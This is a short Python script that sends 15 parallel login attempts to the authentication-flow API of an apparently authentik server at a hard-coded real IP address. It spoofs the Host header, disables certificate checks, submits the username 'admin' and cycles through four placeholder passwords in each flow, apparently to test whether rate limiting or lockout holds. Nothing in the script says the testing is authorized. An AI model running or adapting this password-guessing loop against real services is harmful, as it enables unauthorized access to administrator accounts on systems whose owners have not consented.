import requests, json, urllib3, time, concurrent.futures
urllib3.disable_warnings()
BASE = "https://112.199.81.2:37443/api/v3/flows/executor/default-authentication-flow/"
JH = {"Host":"www.itportal.cc","Content-Type":"application/json"}

def one_flow(idx):
    s = requests.Session(); s.verify=False
    r = s.post(BASE, headers=JH, data=json.dumps({"component":"ak-stage-identification","uid_field":"admin"}), allow_redirects=False, timeout=20)
    comps = []
    for p in ["p1","p2","p3","p4"]:
        r = s.post(BASE, headers=JH, data=json.dumps({"component":"ak-stage-password","password":p}), allow_redirects=False, timeout=20)
        try: j=r.json()
        except: j={}
        comps.append(f"{r.status_code}:{j.get('component')}")
    return idx, comps

t0=time.time()
with concurrent.futures.ThreadPoolExecutor(max_workers=15) as ex:
    futs = [ex.submit(one_flow, i) for i in range(15)]
    for f in concurrent.futures.as_completed(futs):
        idx, comps = f.result()
        print(f"flow{idx}: {comps}")
print("elapsed", round(time.time()-t0,2))
